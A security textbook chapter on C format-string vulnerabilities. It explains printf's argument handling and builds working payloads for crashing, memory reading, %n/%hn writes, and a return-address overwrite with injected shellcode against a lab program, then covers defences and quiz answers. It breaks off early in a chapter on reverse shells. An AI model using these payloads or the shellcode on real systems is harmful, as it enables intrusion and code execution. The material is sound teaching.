10.2 Variadic Functions in C

printf is a variadic function: the number of arguments it receives is not fixed when the function is written. Its prototype says only that the first argument is a format string:

int printf(const char *format, ...);

The argument list consists of one concrete argument, format, followed by zero or more optional arguments. The ellipsis tells the compiler not to check the number or types of the remaining arguments. How, then, does the function find them?

C provides a small API in <stdarg.h>: a type va_list and three macros.

MacroPurpose
va_start(ap, last)Initialize ap to point just past the last named argument last.
va_arg(ap, type)Return the next argument, interpreted as type, and advance ap by its size.
va_end(ap)Clean up when done.

Here is a tiny variadic function that sums its optional integer arguments. The caller tells it how many there are:

#include <stdio.h>
#include <stdarg.h>

int myprint(int narg, ...)
{
    va_list ap;                         /* 1: a cursor over the optional args   */
    int i, sum = 0;

    va_start(ap, narg);                 /* 2: point ap just past narg           */
    for (i = 0; i < narg; i++) {
        int v = va_arg(ap, int);        /* 3: fetch an int, advance ap by 4     */
        printf("arg %d = %d\n", i, v);
        sum += v;
    }
    va_end(ap);                         /* 4: done                              */
    return sum;
}

int main(void)
{
    myprint(1, 2);
    myprint(3, 10, 20, 30);
    return 0;
}

On 32-bit x86 with the cdecl calling convention (Chapter 3), all arguments are pushed on the stack in reverse order, so they sit at increasing addresses in order. For the call myprint(3, 10, 20, 30) the callee sees:

                     high address
   +-------------+
   |     30      |   <- va_arg #3
   +-------------+
   |     20      |   <- va_arg #2
   +-------------+
   |     10      |   <- va_start(ap, narg) sets ap here (&narg + 4)
   +-------------+
   |   narg = 3  |   <- the last named argument
   +-------------+
   | return addr |
   +-------------+
                     low address

va_start computes the starting position from the address and size of narg. Each va_arg(ap, int) returns the 4 bytes at ap and moves ap up by 4 bytes (by 8 for a double). Notice what va_arg does not do: it has no idea where the argument list ends. That information is not stored anywhere. The function must learn it some other way — in myprint, from narg; in printf, from the format string.

Note. On x86-64 the System V ABI passes the first six integer arguments in registers, so va_list is a small structure that first walks a register-save area and then the stack. The principle — the callee trusts its own idea of how many arguments exist — is unchanged. We return to x86-64 in Section 10.10.

10.3 How printf Walks Its Arguments

printf uses the format string as its argument count. It scans the string character by character. Ordinary characters are copied to the output. Each % starts a conversion specification that consumes one optional argument through va_arg:

DirectiveArgument treated asEffect
%d, %u, %xan integer valueprint it in decimal, unsigned decimal, or hex
%can integer valueprint one character
%sa pointer to a stringprint the bytes at that address up to '\0'
%pa pointer valueprint it as an address
%na pointer to an intwrite the number of characters printed so far to that address

Consider:

int id = 100, age = 25;
char *name = "Bob Smith";
printf("ID: %d, Name: %s, Age: %d\n", id, name, age);

The caller pushes age, name, id, and finally the address of the format string, then calls printf. Inside printf, the va_list pointer starts at the slot right above the format-string argument:

                         high address
   +------------------+
   |  age  = 25       |   <- 3rd %  (%d)
   +------------------+
   |  name = 0x...    |   <- 2nd %  (%s): dereferenced!
   +------------------+
   |  id   = 100      |   <- va_list starts here; 1st %  (%d)
   +------------------+
   |  &format string  |   <- printf's only named argument
   +------------------+
   |  return address  |
   +------------------+
                         low address

For each directive, printf calls va_arg, uses the value, and advances the pointer by one slot. Three directives, three arguments: everything matches.

Missing optional arguments

Now suppose the format string contains more directives than the caller passed arguments:

printf("ID: %d, Name: %s, Age: %d\n", id, name);   /* age is missing */

The compiler may warn, but the program compiles and runs. printf cannot know the third argument is missing: va_arg never reports “end of list.” When it reaches the third %d, it fetches whatever 4 bytes lie in the next stack slot — perhaps a saved register, a local variable of the caller, or a return address — and prints it.

That is the root of the vulnerability. The format string decides how far up the stack printf reads, and what it does with each word it finds there. If the programmer wrote the format string, this is merely a bug. If the attacker wrote it, the attacker is now in control.

10.4 The Vulnerability

Programs sometimes print a user-supplied string like this:

printf(user_input);                      /* vulnerable */
sprintf(buffer, user_input);             /* vulnerable */
fprintf(stderr, user_input);             /* vulnerable */
syslog(LOG_ERR, user_input);             /* vulnerable: syslog takes a format too */
snprintf(buf, sizeof(buf), user_input);  /* vulnerable: bounded, but still formats */

In every case the user’s data becomes part of a format string. As long as the input contains no %, the program behaves normally, which is why such bugs survive casual testing. The correct form passes a constant format and supplies the data as an argument:

printf("%s", user_input);                /* safe: the input is data, not format */

This is the principle from Chapter 1 again: keep code and data separate. The format string is a tiny program interpreted by printf; letting the user write it is a code-injection bug in miniature.

Throughout this chapter we use a vulnerable program in the style of the lecture examples:

/* vul.c -- compile: gcc -m32 -fno-stack-protector -z execstack -o vul vul.c */
#include <stdio.h>

void fmtstr(void)
{
    char user_input[100];
    unsigned int var = 0x11223344;

    printf("Target address: %p\n", (void *) &var);
    printf("Data at target: 0x%x\n", var);

    printf("Please enter a string: ");
    fgets(user_input, sizeof(user_input) - 1, stdin);

    printf(user_input);                       /* the bug */

    printf("Data at target: 0x%x\n", var);
}

int main(void)
{
    fmtstr();
    return 0;
}

When printf(user_input) executes, the stack looks roughly like this:

                           high address
   +----------------------+
   |  return address      |
   +----------------------+
   |  saved %ebp          |
   +----------------------+
   |  user_input[100]     |   <- bytes the attacker controls
   |  ...                 |
   +----------------------+
   |  var = 0x11223344    |
   +----------------------+
   |  other locals, saved |
   |  registers, padding  |
   +----------------------+
   |  &user_input         |   <- printf's format argument
   +----------------------+
   |  return into fmtstr  |
   +----------------------+
                           low address

The va_list pointer starts right above the format argument and walks upward, through the caller’s locals, and eventually into user_input itself. That last fact is the key to every attack below: the attacker’s own bytes are among the “arguments” printf will consume.

10.5 Attack 1: Crash the Program

The simplest attack uses %s:

%s%s%s%s%s%s%s%s

For each %s, printf fetches the word at the va_list pointer, treats it as an address, and reads a string from that address. Some of the stack words will be small integers, 0, or other values that are not valid mapped addresses. As soon as one of them is dereferenced, the CPU raises a page fault and the process dies with a segmentation fault.

$ echo '%s%s%s%s%s%s%s%s' | ./vul
Target address: 0xffffd2a4
Data at target: 0x11223344
Please enter a string: Segmentation fault (core dumped)

Several %s may be needed: the first few words may happen to be valid pointers (for example, pointers into the stack), in which case printf prints some garbage and continues. A crash is an availability attack; for a network server whose parent process forks a child per request, it may only kill one child, but for a single-process service it is a denial of service.

Note. A run of %n also crashes the program, for a different reason: %n writes through the fetched word, and writing to an unmapped or read-only address faults even when reading it would have succeeded.

10.6 Attack 2: Read Memory

Printing the stack with %x

Replace %s with %x and printf prints the stack words instead of dereferencing them:

$ echo '%x.%x.%x.%x.%x.%x.%x.%x' | ./vul
...
63.f7fa6620.565561c9.0.11223344.252e7825.78252e78.2e78252e

Use %08x (or %.8x) to pad each value to 8 hex digits, which makes the output easier to parse and — importantly for later — makes the number of printed characters predictable. Each %x advances the va_list pointer by 4 bytes, so to print a particular stack slot you need as many %x as the distance (in words) between the start of va_list and that slot. You usually find this distance by trial and error.

Reading a pwndbg stack dump

Here is a stack captured in pwndbg (Chapter 3) just before the call printf@plt inside a function like fmtstr, with the input %x %x %x %x %x %x %x %x\n:

00:0000│ esp 0xffffd430 —▸ 0xffffd448 ◂— '%x %x %x %x %x %x %x %x\n'
01:0004│     0xffffd434 ◂— 0x63 /* 'c' */
02:0008│     0xffffd438 —▸ 0xf7fa6620 (_IO_2_1_stdin_) ◂— 0xfbad2288
03:000c│     0xffffd43c —▸ 0x565561c9 (fmtstr+12) ◂— add ebx, 0x2e03
04:0010│     0xffffd440 ◂— 0
05:0014│     0xffffd444 ◂— 0x11223344
06:0018│ eax 0xffffd448 ◂— '%x %x %x %x %x %x %x %x\n'
07:001c│     0xffffd44c ◂— 'x %x %x %x %x %x %x\n'

What does printf print? The word at esp (0xffffd430) is the format argument itself. va_list starts at 0xffffd434, so the eight %x print the eight words from 0xffffd434 upward:

#AddressWordPrinted
10xffffd4340x0000006363
20xffffd4380xf7fa6620f7fa6620
30xffffd43c0x565561c9565561c9
40xffffd4400x000000000
50xffffd4440x1122334411223344
60xffffd448bytes 25 78 20 25 ("%x %")25207825
70xffffd44cbytes 78 20 25 78 ("x %x")78252078
80xffffd450bytes 20 25 78 20 (" %x ")20782520

So the output is:

63 f7fa6620 565561c9 0 11223344 25207825 78252078 20782520

Two observations matter a great deal.

  1. Slot 5 is var. Five %x reach the local variable — a secret stored there would leak.
  2. From slot 6 on, printf is reading the format string itself. The bytes %, x, , % are 0x25 0x78 0x20 0x25; read as a little-endian 32-bit integer they form 0x25207825. The attacker’s input begins exactly at the 6th optional argument. Remember this number; every attack below uses it.

Notice also what else leaked. Slot 2 is a pointer into libc (_IO_2_1_stdin_), and slot 3 is a code address inside fmtstr. With ASLR enabled, each of these reveals a randomized base address: subtract the symbol’s known offset and you know where libc and the program are loaded. This is how format-string bugs are used as the first stage of an exploit that then performs ret2libc or ROP (Chapter 7).

Direct parameter access: %k$x

Typing many %x is tedious, and each one also adds to the printed output. POSIX printf supports a parameter field: %k$x prints the k-th optional argument directly, without consuming the others.

$ echo '%6$x' | ./vul          # prints the first 4 bytes of the input itself
...
78243625

("%6$x" begins with bytes 25 36 24 78, which is 0x78243625.) The parameter field works with every conversion — %6$s, %6$n, %6$hn — and is the tool of choice whenever the offset is known.

Reading an arbitrary address with %s

Printing the stack is limited to whatever happens to be on the stack. To read anywhere, the attacker needs an address on the stack that points where they want. They put it there themselves: the input is on the stack. Place the target address in the first 4 bytes of the input, then use %s on the 6th argument:

#!/usr/bin/env python3
import sys
addr = 0x080b4008                              # address to read from (example)
payload = addr.to_bytes(4, byteorder='little') # becomes optional argument #6
payload += b"%x.%x.%x.%x.%x.%s\n"              # five %x skip args 1-5; %s uses #6
# equivalently: payload += b"%6$s\n"
sys.stdout.buffer.write(payload)

printf first prints the 4 raw address bytes (as garbage characters), then five words, and then dereferences the 6th word — the address the attacker supplied — and prints the string stored there. Repeating this with different addresses dumps memory at will.

Note. The address bytes travel inside a C string, so they must not contain 0x00 (it would end the string), and if the program reads input with fgets or scanf, they must not contain 0x0a (newline) or, for scanf, whitespace. On 32-bit Linux, stack and heap addresses rarely contain zero bytes; this is one reason labs start on 32-bit.

10.7 Attack 3: Write Memory with %n

%n is the strangest conversion in C. It prints nothing; instead, it writes the number of characters printed so far into the int pointed to by its argument:

int count;
printf("hello%n world\n", &count);    /* count == 5 */

%n exists so that programs can, for example, align columns after printing a variable-length field. In a format-string attack it is a write primitive:

  • The address written to is whatever word the va_list pointer reaches — and the attacker can place that word in the input, exactly as in the %s read.
  • The value written is the number of characters printed so far — and the attacker controls that by choosing what to print before %n.

Hence the format-string bug is a write-anything-anywhere primitive.

Changing var to some other value

In the lecture example, var lives at 0xbffff304 and holds 0x11223344. The goal is to change it. The input begins at argument 6, so:

  1. Put 0xbffff304 in the first 4 bytes of the input (argument 6).
  2. Consume arguments 1–5 with five %x-style conversions.
  3. Use %n on argument 6.

To make the arithmetic predictable, use %.8x, which always prints exactly 8 hex digits for a 32-bit value:

$ echo $(printf "\x04\xf3\xff\xbf")%.8x%.8x%.8x%.8x%.8x%n > input
$ ./vul < input
Target address: 0xbffff304
Data at target: 0x11223344
Please enter a string: ????0000006... (4 raw address bytes, then 40 hex digits)
Data at target: 0x2c

The count at the moment %n fires is 4 (the raw address bytes) + 5 × 8 (the five %.8x) = 44 = 0x2c, and that is what lands in var. (Inside $(...), printf "\x04" is the shell’s command that emits the single byte 0x04; command substitution then splices its output into the line.)

Note. If you use plain %x instead of %.8x, the count depends on how many digits each value happens to have (0 prints one digit, f7fa6620 prints eight), and the result changes whenever the stack contents change. Always pad when you care about the exact value.

Changing var to a chosen value

The count can be inflated cheaply with a precision (or width) field: %.Nx prints at least N digits, padding with zeros. To write 0x9896a9 = 10,000,041 into var, keep the address and the first four %.8x (4 + 32 = 36 characters) and make the fifth conversion print the rest:

\x04\xf3\xff\xbf %.8x %.8x %.8x %.8x %.10000005x %n      (spaces for readability only)

36 + 10,000,005 = 10,000,041 = 0x9896a9 characters precede %n. Every character in the format string counts — including literal separators. The lecture version of this attack uses . separators between the %xs, so 41 characters precede the wide conversion and its precision is 10,000,000; 41 + 10,000,000 = 10,000,041 again.

This works, but printing ten million characters takes a noticeable amount of time, and writing a typical address such as 0xbffff358 (about 3.2 billion) this way is hopeless. The next attack solves that.

10.8 Attack 4: Faster Writes with %hn and %hhn

Length modifiers change how much %n writes:

DirectiveWritesBytes
%nint4
%hnshort2
%hhnchar1

%hn stores only the low 16 bits of the character count, so the count never needs to exceed 65,535 — and because the stored value is the count modulo 216, the attacker can keep printing past 65,535 to “wrap around” if needed.

Writing 0x66887799 into var

Split the 4-byte target into two 2-byte halves. x86 is little-endian, so:

   address      0xbffff304  0xbffff305  0xbffff306  0xbffff307
   byte            0x99        0x77        0x88        0x66
                \_______  _______/      \_______  _______/
                        \/                      \/
                0x7799 at 0xbffff304    0x6688 at 0xbffff306
  • 0x7799 = 30,617 must go to 0xbffff304 (the low half).
  • 0x6688 = 26,248 must go to 0xbffff306 (the high half).

Because the character count only ever increases, write the smaller value first: 0x6688 to 0xbffff306, then print 30,617 − 26,248 = 4,369 more characters and write 0x7799 to 0xbffff304.

Both addresses must be in the input. The lecture layout is:

   argument #:   6           7          8
   input:     [Address A] [ @@@@ ]  [Address B]  %.8x%.8x%.8x%.8x %.26204x %hn %.4369x %hn
              0xbffff306   filler   0xbffff304

Walk through it, counting characters and arguments:

Format pieceConsumes argumentCharacters printedRunning count
Address A (4 raw bytes)—44
@@@@ (4 raw bytes)—48
Address B (4 raw bytes)—412
%.8x × 41–43244
%.26204x526,20426,248 = 0x6688
%hn6 = Address A0writes 0x6688 → 0xbffff306
%.4369x7 = @@@@4,36930,617 = 0x7799
%hn8 = Address B0writes 0x7799 → 0xbffff304

The @@@@ filler exists because the padding conversion %.4369x must consume an argument: placing four junk bytes between the two addresses gives it something harmless to eat, so that the following %hn lands exactly on Address B. After the attack, var holds 0x66887799.

With the parameter field, the filler is unnecessary because each directive names its argument explicitly:

\x06\xf3\xff\xbf\x04\xf3\xff\xbf%1$26240x%6$hn%1$4369x%7$hn

Here only 8 bytes of addresses precede the first padding conversion, so it prints 26,248 − 8 = 26,240 characters. (%1$26240x prints argument 1 — any readable word will do — padded with a width instead of a precision; either pads to the requested length. POSIX leaves mixing numbered and unnumbered directives undefined, so once you use $, number every directive.)

Try it. Starting from var = 0x11223344, overwrite it with 0x66773344. Only the upper two bytes change, so a single %hn to 0xbffff306 suffices. With the address as argument 6 and four %.8x before the padding conversion, the padding must be 0x6677 − 4 − 32 = 26,231 − 36 = 26,195: \x06\xf3\xff\xbf%.8x%.8x%.8x%.8x%.26195x%hn.

%hhn: one byte at a time

With %hhn, each write stores a single byte, so a 4-byte value needs four addresses and four writes, and no padding conversion ever needs more than 255 characters. Since the stored byte is the count modulo 256, a smaller byte after a larger one is handled by printing up to the next multiple of 256 plus the desired value. %hhn produces short payloads at the cost of more bookkeeping; %hn is the usual compromise.

10.9 Attack 5: Injecting and Running Code

With a write-anything-anywhere primitive, overwriting a return address is just another write. The plan:

  1. Inject shellcode (Chapter 5) into the input buffer.
  2. Find its starting address A (using GDB, or from a leak).
  3. Find the address B of the return-address slot of the function that contains the vulnerable printf — typically the saved frame pointer plus 4.
  4. Write A into B with two %hn writes. When the function returns, it jumps into the shellcode.

No buffer overflows, so the canary between the locals and the return address is never touched — StackGuard does not notice. (A non-executable stack still stops the shellcode; the attacker would then write the address of a libc function or a ROP chain instead.)

In the lecture example, the return-address slot is at B = 0xbffff38c and the shellcode starts at A = 0xbffff358. Split A:

HalfValueDecimalDestination
high0xbfff49,1510xbffff38e (= B + 2)
low0xf35862,2960xbffff38c (= B)

0xbfff is smaller, so it is written first, to 0xbffff38e. With the same layout as Attack 4 (Address A = 0xbffff38e, @@@@, Address B = 0xbffff38c, four %.8x) and no other literal characters, the first padding conversion must print

   49,151 − 12 (three 4-byte fields) − 32 (four %.8x) = 49,107

and the second must print 62,296 − 49,151 = 13,145 more.

The lecture version of the payload contains five extra literal characters (separators) before the first wide conversion, so its accounting reads 12 + 32 + 5 + 49,102 = 49,151; its second padding of 13,144 is followed by one more literal character, giving 13,145. The lesson is the same either way: count every byte of the format string that printf prints — raw address bytes, separators, and padding alike — and check the arithmetic in GDB before trusting it.

#!/usr/bin/env python3
import sys

shellcode = (
    b"\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
    b"\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
)

B = 0xbffff38c                       # return-address slot (from GDB)
A = 0xbffff358                       # where the shellcode will be (from GDB)

hi, lo = A >> 16, A & 0xffff         # 0xbfff, 0xf358  (hi < lo here)

payload  = (B + 2).to_bytes(4, 'little')   # arg 6: gets hi
payload += b"@@@@"                         # arg 7: eaten by the 2nd padding
payload += B.to_bytes(4, 'little')         # arg 8: gets lo
payload += b"%.8x" * 4                     # args 1-4
payload += b"%." + str(hi - 12 - 32).encode() + b"x"   # arg 5
payload += b"%hn"                                      # writes hi
payload += b"%." + str(lo - hi).encode() + b"x"        # arg 7
payload += b"%hn"                                      # writes lo
payload += b"\x90" * 50 + shellcode + b"\n"            # NOP sled + shellcode

sys.stdout.buffer.write(payload)

In this sketch the shellcode follows the format directives inside the same buffer, so A must point into the NOP sled after them; in practice you compute A from the buffer’s address plus the offset at which the sled begins. If the low half were the smaller one, you would swap the order of the two addresses.

Note. The return address of the vulnerable function is not the only target. If the binary has a writable GOT (no full RELRO, see Chapter 6), overwriting the GOT entry of a function that is called after the printf — for example exit or puts — redirects that call. GOT entries are at fixed addresses in a non-PIE binary, which makes them easier to target than stack slots.

10.10 Format Strings on x86-64

Two things change on 64-bit Linux.

Arguments start in registers. In the System V AMD64 ABI, the first six integer arguments travel in rdi, rsi, rdx, rcx, r8, and r9. The format string occupies rdi, so the first five optional arguments printf consumes are the contents of rsi, rdx, rcx, r8, and r9 — whatever values those registers held at the call. Only from the 6th optional argument on does printf read the stack, and each slot is 8 bytes. %k$lx (note the l for a 64-bit value) and %k$n work as before; only the offsets differ.

Addresses contain zero bytes. User-space addresses on x86-64 are at most 0x00007fffffffffff, so the top two bytes of every 8-byte address are zero. printf stops processing the format string at the first 0x00, so an address placed at the front of the payload terminates the format string before any directive is reached. The fix is to place addresses at the end of the payload, after all the directives, and reach them with %k$:

   [ %<pad>x%<k>$hn%<pad>x%<k+1>$hn ... ] [padding to 8-byte alignment] [addr1][addr2]
     \__________ directives ____________/                               \___ args ___/

printf stops at the first zero byte inside addr1, but by then every directive has already executed, and the %k$hn directives have reached the addresses on the stack — where the zero bytes do no harm. The attacker must align the address area to 8 bytes and compute k from the offset of that area.

10.11 Countermeasures

Developers

Never pass untrusted data as a format string. Use printf("%s", s), fputs(s, f), or puts(s) (note that puts appends a newline). The same rule applies to sprintf, snprintf, fprintf, vprintf, syslog, err/warn, and to input functions such as scanf and vfscanf, whose format strings are equally dangerous. Wrapper functions that forward their own fmt argument to vprintf should be annotated with __attribute__((format(printf, 1, 2))) so the compiler checks their call sites too.

Compilers

GCC and Clang can detect many vulnerable call sites:

/* test_fmt.c */
#include <stdio.h>
int main(void)
{
    char *format = "Hello %x%x%x\n";
    printf("Hello %x%x%x\n", 5, 4);     /* mismatch: 3 directives, 2 args */
    printf(format, 5, 4);               /* same mismatch, non-literal format */
    return 0;
}
$ gcc -m32 test_fmt.c
test_fmt.c:5:23: warning: format '%x' expects a matching 'unsigned int' argument [-Wformat=]
$ gcc -m32 -Wformat=2 test_fmt.c
test_fmt.c:5:23: warning: format '%x' expects a matching 'unsigned int' argument [-Wformat=]
test_fmt.c:6:12: warning: format not a string literal, argument types not checked [-Wformat-nonliteral]

With -Wformat enabled — Clang enables it by default, and Ubuntu’s GCC enables -Wformat and -Wformat-security by default (upstream GCC needs -Wall) — the compilers check only the first call, where the format is a literal. -Wformat=2 (which includes -Wformat-nonliteral and -Wformat-security) also flags the second call, because the compiler cannot check a format string that is not a literal. For the bare printf(user_input) pattern, -Wformat-security warns format not a string literal and no format arguments; many distributions enable it by default, and -Werror=format-security turns it into an error. These are only warnings: the program still compiles, and it is up to the developer to listen.

Libraries and the runtime

  • _FORTIFY_SOURCE=2 (with optimization) replaces printf calls with checked variants such as __printf_chk. These abort the program if a %n directive appears in a format string located in writable memory — exactly where attacker input lives: *** %n in writable segment detected ***. See Chapter 6.
  • Some C runtimes disable %n altogether; Microsoft’s CRT has done so by default for many years.
  • ASLR forces the attacker to leak addresses before writing them — which the format-string bug itself often provides, so ASLR alone is not a fix.
  • Non-executable stacks stop the injected shellcode of Attack 5, though not the memory writes themselves; full RELRO makes the GOT read-only after startup.

Going deeper. Format-string bugs were recognized as a distinct vulnerability class around 2000, when a wave of remotely exploitable instances appeared in widely deployed daemons — for example, the SITE EXEC bug in wu-ftpd 2.6.0 (CVE-2000-0573). Within a year, scut’s “Exploiting Format String Vulnerabilities” (team teso, 2001) systematized the read/write techniques in this chapter, and Cowan et al.‘s FormatGuard (USENIX Security 2001) proposed a compile-time defense that counts a call’s actual arguments and rejects format strings that ask for more. Today the bug class is rare in mainstream C code thanks to compiler warnings, but it reappears in embedded firmware, logging wrappers, and in other languages’ formatting APIs.

Check Your Understanding

1. Why is printf("%s", buf) safe while printf(buf) is not, even though both print the same thing when buf contains no % characters?

Answer

In printf("%s", buf) the format string is a constant written by the programmer: it has exactly one directive and the call supplies exactly one argument, so printf reads one argument and treats buf purely as data. In printf(buf) the user’s bytes are the format string, so the user decides how many arguments printf fetches from the stack and how each is used — as a value (%x), as a pointer to read (%s), or as a pointer to write (%n). It is the code-versus-data separation principle.

2. Using the pwndbg dump in Section 10.6, what would the input %5$x print, and what would %6$x print for the input ABCD%6$x?

Answer

%5$x prints the 5th optional argument, the word at 0xffffd444: 11223344. For ABCD%6$x, the input begins at the 6th optional argument, whose first 4 bytes are now A B C D = 0x41 0x42 0x43 0x44, read little-endian as 0x44434241; the output is ABCD44434241.

3. A payload consists of a 4-byte address, then %.8x three times, then %.100x, then %n. What value is written, and to which argument does %n apply?

Answer

4 + 3 × 8 + 100 = 128 (0x80) is written. The four padding conversions consume optional arguments 1–4, so %n uses argument 5. For the attack to hit the supplied address, the input must begin at argument 5 in this program; in the chapter’s example (input at argument 6) one more conversion would be needed.

4. You must write 0x08041234 to address 0x0804a01c using two %hn. Which half goes to which address, and in what order should you write them? If 12 bytes of addresses/filler and 32 bytes of %.8x precede the first padding conversion, what are the two padding lengths?

Answer

Little-endian: 0x1234 goes to 0x0804a01c and 0x0804 goes to 0x0804a01e. 0x0804 = 2,052 is smaller than 0x1234 = 4,660, so write 0x0804 to 0x0804a01e first. First padding: 2,052 − 12 − 32 = 2,008. Second padding: 4,660 − 2,052 = 2,608.

5. Why does a format-string attack that overwrites a return address bypass StackGuard, while a stack buffer overflow does not?

Answer

StackGuard places a canary between the locals and the saved return address and checks it before returning. A linear overflow must overwrite every byte between the buffer and the return address, including the canary, so the check fails. The %n write goes directly to the return-address slot without touching anything else, so the canary is intact. (A format-string read can also leak the canary, which lets a separate overflow rewrite it with the correct value.)

6. On x86-64, why must the target addresses be placed at the end of the payload rather than at the beginning?

Answer

User-space addresses are at most 0x00007fffffffffff, so their high bytes are 0x00. printf stops at the first zero byte of the format string. Addresses at the front would terminate the string before any directive ran. Placed at the end, the addresses are still copied into the buffer on the stack, and %k$hn directives that come earlier in the string can reach them by position.

7. Which of these stops Attack 5 (overwrite the return address to jump into shellcode on the stack), and which stops the underlying write primitive: (a) a non-executable stack, (b) -Wformat-security, (c) _FORTIFY_SOURCE=2, (d) ASLR?

Answer

(a) Stops the shellcode from running but not the write; the attacker can redirect to libc or a ROP chain instead. (b) Only warns the developer; it stops the attack only if the developer fixes the code. (c) Stops the %n write itself when the format string is in writable memory, so it defeats the primitive (reads with %x/%s still work). (d) Makes the target addresses unknown, but the same bug can usually leak them first, so it raises the bar rather than stopping the attack.

Summary

  • A format-string vulnerability arises when attacker-controlled data becomes the format argument of a printf-family function. The function trusts the format string to tell it how many arguments exist and how to use them.
  • On 32-bit x86, printf’s va_list pointer starts just above the format argument and walks up the stack, eventually reaching the attacker’s own input.
  • %s dereferences stack words (crash, or arbitrary read when the attacker supplies the address); %x prints stack words (leak secrets, canaries, and ASLR-randomized addresses); %k$ selects an argument directly.
  • %n writes the number of characters printed so far to an attacker-chosen address, giving a write-anything-anywhere primitive. Width/precision fields control the value; %hn/%hhn split large values into 2- or 1-byte writes, written in increasing order.
  • Overwriting a return address or GOT entry with %hn redirects control flow without touching the stack canary.
  • On x86-64, the first five optional arguments come from registers and addresses contain zero bytes, so addresses go at the end of the payload.
  • Defenses: constant format strings (printf("%s", s)), compiler warnings (-Wformat, -Wformat-security, -Wformat=2), _FORTIFY_SOURCE, and the general mitigations of Chapter 6.

Connection to the Labs

Lab 3: Format String and Reverse Shell applies this chapter to a root-owned network server running in a Docker container.

  • Task 1 is Attack 1 (Section 10.5). Be ready to explain which directive faults and why.
  • Task 2.A asks for the “magic number” k: the argument index at which your own input begins (Section 10.6 found k = 6 for the chapter’s example; the lab’s server has deeper call nesting, so expect a larger number). Use a recognizable marker and then confirm with %k$x. Task 2.B is the arbitrary read with %s.
  • Task 3 is Attacks 3 and 4: %n for any value, a precision field for an exact value, and two %hn writes for 0xAABBCCDD. Write out your character-count table as in Section 10.8 before you run anything.
  • Task 4 is Attack 5, using the frame pointer the server prints to locate the return-address slot; the shellcode then launches a reverse shell, explained in Chapter 11.
  • Task 5 (optional) is Section 10.10 on the 64-bit server.
  • The wrap-up asks you to read the -Wformat-security warning and apply the fix from Section 10.11.

Further Reading

  • Wenliang Du. Computer & Internet Security: A Hands-on Approach, 3rd edition, Chapter 6 (Format String Vulnerability).
  • scut / team teso. “Exploiting Format String Vulnerabilities,” version 1.2, 2001. The classic tutorial on the techniques in this chapter.
  • Crispin Cowan, Matt Barringer, Steve Beattie, Greg Kroah-Hartman, Mike Frantzen, and Jamie Lokier. “FormatGuard: Automatic Protection From printf Format String Vulnerabilities.” 10th USENIX Security Symposium, 2001.
  • man 3 printf (the %n conversion and the m$ parameter field) and man 3 stdarg.
  • Phoenix exercises, including format-string levels: https://exploit.education/phoenix/getting-started/

Chapter 11: Reverse Shells

In the earlier chapters, a successful exploit ended with a shell: execve("/bin/sh") ran inside the victim process, and a # prompt appeared in the attacker’s terminal. That worked because the attacker was sitting at the victim’s terminal — the vulnerable program was a local Set-UID binary, and the new shell simply inherited the attacker’s keyboard and screen.

Real attacks rarely look like that. The vulnerable program is usually a server on another machine, its standard input and output are a network socket or a log file, and between the attacker and the victim stand firewalls and VPN gateways that refuse incoming connections. Spawning a shell there is useless if nobody can type into it. The standard solution is the reverse shell: the injected code makes the victim connect out to the attacker and attaches a shell to that connection. This chapter explains how it works, starting from the Unix machinery it is built on — file descriptors and redirection.

Learning objectives. After this chapter you should be able to:

  • Explain why attackers use reverse shells instead of listening on the victim.
  • Describe the per-process file descriptor table and how it refers to open files and sockets.
  • Read and write shell redirections such as 2>&1, 0<&1, and exec 3< file, and explain how dup2() implements them.
  • Use netcat as a client, a listener, and a file-transfer tool.
  • Build the classic Bash reverse-shell one-liner step by step and explain every part of it, including why the order of redirections matters.
  • Describe how a reverse shell is delivered as an exploit payload, and how defenders detect and block one.

11.1 The Problem: Getting a Shell Through a Firewall

Picture a typical deployment:

   attacker                     |  firewall /  |          victim server
   10.0.2.3                     |     VPN      |          10.0.2.5
                                |              |
   ssh / nc  --- inbound to ----X  blocked     |          service on :8080
             10.0.2.5:4444      |              |
                                |              |
             <---- outbound ----+--- allowed --+------    (victim initiates)

The victim’s network accepts inbound connections only to the service it is meant to expose (here, port 8080) and blocks everything else. Suppose the attacker exploits the service and makes it run a shell that listens on a new port, a so-called bind shell. The firewall drops the attacker’s connection to that port; the shell waits forever. Even if no firewall were present, a server behind NAT has no public address for the attacker to connect to.

Outbound connections, however, are almost always allowed: servers fetch updates, query APIs, and resolve DNS names. A reverse shell exploits that asymmetry. The attacker runs a listener on a machine they control, and the payload on the victim connects out to it:

   attacker 10.0.2.3                                 victim 10.0.2.5
   +-----------------+                               +----------------------+
   |  nc -lnv 9090   |  <====== TCP connection ===== |  /bin/bash -i        |
   |  (listening)    |         (victim connects)     |  stdin, stdout and   |
   |  types commands |  ======> commands ==========>  |  stderr all attached |
   |  sees output    |  <====== output   ==========   |  to the socket       |
   +-----------------+                               +----------------------+

From the firewall’s point of view, an internal machine opened a TCP connection to an external host — ordinary traffic. From the attacker’s point of view, a shell prompt from the victim appears in their listener.

To build this, we need to make a shell read its input from a TCP connection and write its output to the same connection. That is a job for file descriptors.

11.2 File Descriptors

When a Unix process opens a file, the kernel returns a small integer, a file descriptor (fd). The process uses that number in every later read, write, or close. Under the hood there are three levels of tables:

  per-process                    system-wide                    on disk / in kernel
  fd table                       open file table                 inodes, sockets
 +-----+-----------+            +-------------------+           +-----------------+
 |  0  |  ------------------->  | offset, mode (r)  | ------->  | /dev/pts/0      |
 +-----+-----------+     +--->  +-------------------+           +-----------------+
 |  1  |  ---------------+      | offset, mode (w)  | ------->  | /tmp/xyz inode  |
 +-----+-----------+     |      +-------------------+           +-----------------+
 |  2  |  ---------------+      | ...               |
 +-----+-----------+
 |  3  |  ----------------->  (entry for /tmp/xyz, read-only)
 +-----+-----------+
  • The file descriptor table belongs to one process and is maintained by the kernel. Each slot is a pointer to an entry in the open file table.
  • The open file table holds one entry per open() call: the current offset, the access mode (read, write, append), and a pointer to the underlying object.
  • The underlying object is an inode for a regular file, or a device, a pipe, or — crucially for us — a socket.

By convention every process starts with three descriptors:

fdNameDefault (in a terminal)
0standard input (stdin)the terminal (keyboard)
1standard output (stdout)the terminal (screen)
2standard error (stderr)the terminal (screen)

Programs do not care what fd 0 or fd 1 actually refers to. cat reads from fd 0 and writes to fd 1, whether those are a terminal, a file, a pipe, or a network connection. That indifference is what makes redirection — and the reverse shell — possible.

You can inspect a process’s table under /proc:

$ ls -l /proc/self/fd
lrwx------ 1 seed seed 64 ... 0 -> /dev/pts/0
lrwx------ 1 seed seed 64 ... 1 -> /dev/pts/0
